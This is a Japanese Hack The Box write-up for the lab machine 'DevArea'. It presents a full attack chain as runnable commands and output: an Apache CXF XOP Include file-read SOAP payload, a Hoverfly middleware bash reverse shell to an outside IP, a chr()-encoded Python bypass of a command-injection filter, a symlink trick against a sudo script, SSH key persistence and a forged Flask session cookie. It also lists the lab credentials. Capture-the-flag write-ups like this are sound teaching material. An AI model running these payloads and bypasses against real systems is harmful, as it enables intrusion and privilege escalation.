HTB DevArea writeup
Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。
Summary
Section titled “Summary”DevArea は、複数の Web 系サービスを組み合わせた Linux / Medium Box だった。匿名 FTP から Java の SOAP サービス実装 JAR を取得し、Apache CXF の XOP/MTOM 処理を悪用して任意ファイル読み取りを行う。そこから Hoverfly の起動オプションに含まれる管理者認証情報を取得し、Hoverfly middleware のコマンド実行で dev_ryan のシェルを得る。権限昇格では SysWatch の管理画面へ SSH tunnel 経由で入り、service-status の systemctl 呼び出しに対するコマンドインジェクションで /opt/syswatch/logs に symlink chain を作る。最後に、dev_ryan が sudo で実行できる syswatch.sh logs の symlink 検査不備を使い、root 権限で /root/root.txt を読む。
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | DevArea |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”anonymous FTP -> /pub/employee-service.jar -> Java SOAP service / Apache CXF / /employeeservice -> XOP Include file read -> /etc/systemd/system/hoverfly.service -> Hoverfly admin:O7IJ27MyyXiU -> Hoverfly middleware command execution -> shell as dev_ryan -> /etc/syswatch.env + syswatch-v1.zip -> SSH tunnel to localhost:7777 -> SysWatch login as admin -> service-status command injection -> create /opt/syswatch/logs/root.txt -> /root/root.txt -> create /opt/syswatch/logs/pwn.log -> root.txt -> sudo /opt/syswatch/syswatch.sh logs pwn.log as root -> read root flagTarget and nmap
Section titled “Target and nmap”/etc/hosts:
10.129.244.208 devarea.htb実行した nmap:
nmap -sS -A -p- --min-rate 10000 10.129.244.208 > devarea.nmap重要な結果:
PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.5| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_drwxr-xr-x 2 ftp ftp 4096 Sep 22 2025 pub22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.1580/tcp open http Apache httpd 2.4.58|_http-title: Did not follow redirect to http://devarea.htb/8080/tcp open http Jetty 9.4.27.v202002278500/tcp open http Golang net/http server|_ This is a proxy server. Does not respond to non-proxy requests.8888/tcp open http Golang net/http server|_http-title: Hoverfly Dashboard見るべき点:
- FTP の anonymous login が有効で、
pub配下の取得が初手になる。 - 8080 は Jetty で、Java/SOAP 系アプリの可能性が高い。
- 8500 と 8888 は Hoverfly の構成に合う。8888 が管理 UI/API、8500 が proxy 側。
- 80 は静的な Apache サイトで、ディレクトリ探索から攻撃面は増えなかった。
Web and FTP enumeration
Section titled “Web and FTP enumeration”vhost fuzzing では有効なサブドメインは出なかった。
ffuf -u http://devarea.htb -H "Host: FUZZ.devarea.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac:: Progress: [19966/19966] :: Job [1/1] :: 214 req/sec :: Duration: [0:01:36] :: Errors: 0 ::80/tcp の feroxbuster も静的サイトの asset だけだった。
feroxbuster -u http://devarea.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -d 1200 GET 22211c http://devarea.htb/index200 GET 22211c http://devarea.htb/index.html301 GET http://devarea.htb/assets => http://devarea.htb/assets/FTP は anonymous で入れる。
ftp anonymous@devarea.htb230 Login successful.ftp> cd pubftp> ls -la-rw-r--r-- 1 ftp ftp 6445030 Sep 22 2025 employee-service.jarftp> get employee-service.jar6445030 bytes receivedこの JAR が 8080/tcp の Java サービス実装だった。
JAR review and SOAP endpoint
Section titled “JAR review and SOAP endpoint”jadx-gui で employee-service.jar を開くと、htb.devarea パッケージに SOAP サービスがある。
@WebService(name = "EmployeeService", targetNamespace = "http://devarea.htb/")public interface EmployeeService { String submitReport(Report report);}ServerStarter は /employeeservice を 8080/tcp で公開している。
JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();factory.setServiceClass(EmployeeService.class);factory.setServiceBean(new EmployeeServiceImpl());factory.setAddress("http://0.0.0.0:8080/employeeservice");factory.create();WSDL を確認する。
curl -i http://devarea.htb:8080/employeeservice?wsdl<wsdl:operation name="submitReport"> <wsdl:input message="tns:submitReport" name="submitReport"/> <wsdl:output message="tns:submitReportResponse" name="submitReportResponse"/></wsdl:operation><soap:address location="http://devarea.htb:8080/employeeservice"/>submitReport は Report.content をそのまま返すため、外部参照を content に入れられると、読み取られた内容が応答に出る。
Apache CXF XOP/MTOM file read
Section titled “Apache CXF XOP/MTOM file read”ローカルメモでは CVE-2024-28752 と書いていたが、この Box の実際のペイロードは XOP:Include / MTOM request の href 処理を使う形で、CVE-2022-46364 と整理するのが適切。CVE-2024-28752 は Aegis DataBinding 固有の SSRF で、デフォルト databinding は影響外とされている。
body.txt:
--asdfContent-Type: application/xop+xml; charset=UTF-8; type="text/xml"Content-Transfer-Encoding: 8bitContent-ID: <root>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ns2:submitReport xmlns:ns2="http://devarea.htb/"> <arg0> <confidential>true</confidential> <content><inc:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:inc="http://www.w3.org/2004/08/xop/include"/></content> <department>IT</department> <employeeName>John Smith</employeeName> </arg0> </ns2:submitReport> </soap:Body></soap:Envelope>--asdf--送信する。
curl -X POST http://devarea.htb:8080/employeeservice \ -H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="asdf"' \ --data-binary @body.txt応答の return に base64 が返る。
Content: W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...デコードすると Hoverfly の systemd unit が得られる。
echo 'W1VuaXRdCkRlc2NyaXB0aW9uPUhvdmVyRmx5IHNlcnZpY2UK...' | base64 -d[Service]User=dev_ryanGroup=dev_ryanWorkingDirectory=/opt/HoverFlyExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0結論:
- Hoverfly は
dev_ryanとして動いている。 - Hoverfly 管理 API の認証情報は
admin:O7IJ27MyyXiU。
同じ方法で /etc/passwd を読むと、ログインシェルを持つ通常ユーザーは dev_ryan と分かる。
dev_ryan:x:1001:1001::/home/dev_ryan:/bin/bashsyswatch:x:984:984::/opt/syswatch:/usr/sbin/nologinHoverfly RCE to dev_ryan
Section titled “Hoverfly RCE to dev_ryan”まず token を取得する。
curl -X POST 'http://devarea.htb:8888/api/token-auth' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ --data '{"username":"admin", "password": "O7IJ27MyyXiU"}'{"token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9..."}middleware に reverse shell を設定する。Bearer token でも Basic 認証でも通る。
curl -X PUT 'http://devarea.htb:8888/api/v2/hoverfly/middleware' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <token>' \ -d '{"binary": "bash", "script": "bash -i >& /dev/tcp/10.10.16.45/4444 0>&1"}'待ち受け側:
nc -lvnp 4444取得後に TTY を整える。
python3 -c 'import pty; pty.spawn("/bin/bash")'dev_ryan@devarea:/opt/HoverFly$ls -la ~cat ~/user.txt-rw-r----- 1 root dev_ryan 33 Jun 30 15:12 user.txtLocal enumeration as dev_ryan
Section titled “Local enumeration as dev_ryan”sudo 権限を確認する。
sudo -lUser dev_ryan may run the following commands on devarea: (root) NOPASSWD: /opt/syswatch/syswatch.sh, !/opt/syswatch/syswatch.sh web-stop, !/opt/syswatch/syswatch.sh web-restartweb-stop / web-restart 以外の syswatch.sh サブコマンドを root として実行できる。/opt/syswatch は ACL で dev_ryan からは読めない。
ls -la /optls -la /opt/syswatchdrwxr-xr-x+ 8 root root 4096 Mar 22 18:55 syswatchls: cannot open directory '/opt/syswatch': Permission deniedただし dev_ryan の home には syswatch-v1.zip があり、SysWatch の Web UI や service-status の実装確認に使える。
-rw-r--r-- 1 root root 20260 Dec 14 2025 syswatch-v1.zipネットワークでは localhost の 7777/tcp が見える。
ss -antLISTEN 0 128 127.0.0.1:7777 0.0.0.0:*LISTEN 0 4096 *:8888 *:*LISTEN 0 4096 *:8500 *:*SysWatch の timer が root で monitor.sh を実行することも確認できる。
cat /etc/systemd/system/syswatch-monitor.service[Unit]Description=SysWatch Monitor Runner
[Service]Type=oneshotUser=rootGroup=rootEnvironmentFile=/etc/syswatch.envExecStart=/bin/bash /opt/syswatch/monitor.sh/etc/syswatch.env は読める。
cat /etc/syswatch.envSYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026SYSWATCH_LOG_DIR=/opt/syswatch/logsSYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.dbSYSWATCH_PLUGIN_DIR=/opt/syswatch/pluginsSYSWATCH_BACKUP_DIR=/opt/syswatch/backupSYSWATCH_VERSION=1.0.0このファイルは 2 つの意味で重要だった。SYSWATCH_ADMIN_PASSWORD で Web UI に入れる可能性があり、SYSWATCH_SECRET_KEY はログインが通らない場合の Flask session 署名に使える。
SysWatch web access
Section titled “SysWatch web access”SysWatch の Web UI は localhost の 7777/tcp だけで待ち受けているため、dev_ryan の SSH 接続で port forward する。
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htb/etc/syswatch.env から得た管理者パスワードでログインし、cookie jar に session を保存する。
curl -i -c cookies.txt \ -X POST http://127.0.0.1:7777/login \ -d 'username=admin' \ -d 'password=SyswatchAdmin2026'HTTP/1.1 302 FOUNDSet-Cookie: session=...Location: /以降の curl では cookie を直接指定する。cookies.txt から変数化するなら次の形でよい。
SESSION=$(awk '$6 == "session" {print $7}' cookies.txt)Command injection in service-status
Section titled “Command injection in service-status”service-status は service パラメータを受け取り、shell=True で systemctl status に連結していた。
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
def service_status(): service = request.form.get("service", "").strip() if not service or not SAFE_SERVICE.match(service): error = "Invalid service name" else: res = subprocess.run( [f"systemctl status --no-pager {service}"], shell=True, capture_output=True, text=True, timeout=10 )denylist は /, ;, &, ., <, >, 大文字などを禁止するが、|, 空白、クォート、+, (, ) は許す。したがって systemctl status --no-pager | whoami のような形にできる。
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode 'service=| whoami'syswatchこのコマンド実行は Web UI の実行ユーザーである syswatch として動く。
Root flag via symlink chain
Section titled “Root flag via symlink chain”ここから root flag を読む方針は、syswatch 権限のコマンドインジェクションで /opt/syswatch/logs 配下に 2 段 symlink を作り、dev_ryan の sudo 権限で syswatch.sh logs を実行すること。syswatch.sh logs <file> は root として動く。
view_logs の symlink 処理は、1 段目のリンク先だけを ls -l | awk '{print $NF}' で取り出して検査する。
if [ -L "$path" ]; then target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then echo "[Blocked unsafe symlink target]: $file -> $target" return 1 fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then local resolved="$LOG_DIR/$target" if [ -f "$resolved" ]; then cat "$resolved" return fi fifi狙う配置は次の通り。
/opt/syswatch/logs/pwn.log -> root.txt/opt/syswatch/logs/root.txt -> /root/root.txtpwn.log の直接のリンク先は root.txt なので、/ を含まず検査を通る。その後 cat "$LOG_DIR/root.txt" が実行され、cat が 2 段目の symlink をたどって /root/root.txt を読む。
ただし service-status の regex は / と . を禁止するため、Python コードをそのまま渡せない。ローカル側で chr() 連結の式を作り、送信する文字列から禁止文字を消す。
1 本目の symlink を作る payload:
payload=$(python3 - <<'PY'cmd = 'import os; os.symlink("/root/root.txt", "/opt/syswatch/logs/root.txt")'print('+'.join(f'chr({ord(c)})' for c in cmd))PY)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode "service=| python3 -c 'exec($payload)'"2 本目の symlink を作る payload:
payload=$(python3 - <<'PY'cmd = 'import os; os.symlink("root.txt", "/opt/syswatch/logs/pwn.log")'print('+'.join(f'chr({ord(c)})' for c in cmd))PY)
curl -s -b "session=$SESSION" http://127.0.0.1:7777/service-status \ -X POST --data-urlencode "service=| python3 -c 'exec($payload)'"最後は dev_ryan のシェルから sudo で logs を読む。
sudo /opt/syswatch/syswatch.sh logs pwn.log[REDACTED]これで root 権限の file read と root flag 取得が成立する。root shell は不要。
Alternative: signed session cookie
Section titled “Alternative: signed session cookie”管理者パスワードでログインできない場合は、/etc/syswatch.env の SYSWATCH_SECRET_KEY で Flask session cookie を署名する別解がある。これは同じ Web UI に入るための入口だけを置き換える手順。
この別解でも localhost:7777 に到達する必要があるため、SSH tunnel は本線と同じく dev_ryan で張る。秘密鍵は攻撃端末側の /tmp/devarea_key に置き、ターゲット側には対応する公開鍵だけを /home/dev_ryan/.ssh/authorized_keys に追記する。秘密鍵をターゲットへ置く必要はない。
攻撃端末側:
ssh-keygen -t ed25519 -f /tmp/devarea_key -N ''chmod 600 /tmp/devarea_keydev_ryan のシェル側:
mkdir -p ~/.sshecho '<contents of /tmp/devarea_key.pub>' >> ~/.ssh/authorized_keyschmod 700 ~/.sshchmod 600 ~/.ssh/authorized_keys攻撃端末側で tunnel を張る。
ssh -i /tmp/devarea_key -L 7777:127.0.0.1:7777 -N -f dev_ryan@devarea.htbflask-unsign --sign \ --cookie '{"user_id": 1, "username": "admin"}' \ --secret f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0...この値を session cookie として使えば、以降は本線と同じ service-status への POST に進める。
References
Section titled “References”- NVD CVE-2022-46364: https://nvd.nist.gov/vuln/detail/CVE-2022-46364
- NVD CVE-2024-28752: https://nvd.nist.gov/vuln/detail/CVE-2024-28752
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”- 80/tcp のサイトは見た目は作り込まれているが、リンクやディレクトリ探索から有効な攻撃面は出なかった。
- vhost fuzzing も成果なし。
service-statusの入力フィルタは/や.を禁止しているため、通常の Python one-liner はそのままでは通らない。chr()連結で禁止文字を送信値から消すのが安定した。- 管理者パスワードでログインできない場合でも、
SYSWATCH_SECRET_KEYで Flask session cookie を署名する別解がある。 monitor.shは root で plugin を定期実行するため魅力的だが、/opt/syswatch/pluginsは root 所有でsyswatchから書けない。- linpeas が kernel CVE 候補を出していたが、この Box の想定解では不要。
Cleanup Notes
Section titled “Cleanup Notes”削除・復旧対象:
- Hoverfly middleware に設定した reverse shell。
- SSH port forward プロセス。
cookies.txtとSESSIONなどの一時 cookie。/opt/syswatch/logs/pwn.logと/opt/syswatch/logs/root.txtの symlink。
Credentials and Artifacts
Section titled “Credentials and Artifacts”Host: devarea.htbIP: 10.129.244.208User: dev_ryanHoverfly: admin / O7IJ27MyyXiUSysWatch Flask secret: f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725SysWatch env admin password: SyswatchAdmin2026User flag path: /home/dev_ryan/user.txtRoot flag path: /root/root.txtRequired Knowledge
Section titled “Required Knowledge”必要知識:
- nmap / FTP / Web 列挙
- Java JAR の逆コンパイルと SOAP/WSDL の読み方
- Apache CXF XOP/MTOM SSRF / file read
- Hoverfly 管理 API と middleware 設定
- localhost-only Web UI への SSH port forward
- shell metacharacter filter bypass
- symlink 検査不備による root file read
Final Thought
Section titled “Final Thought”この Box の核心は、単体の脆弱性よりも「取得したファイルをどう次の認証情報に変えるか」だった。JAR から WSDL endpoint を見つけ、file read で systemd unit を読み、起動引数から認証情報を拾う流れは再現性が高い。後半は localhost-only の管理 UI、shell=True と弱い denylist、symlink の 1 段検査という典型的な実装ミスが連鎖して root file read に到達する。読める設定ファイル、localhost サービス、sudo で動く補助 script、symlink 処理の 4 点を必ず確認するのが重要。

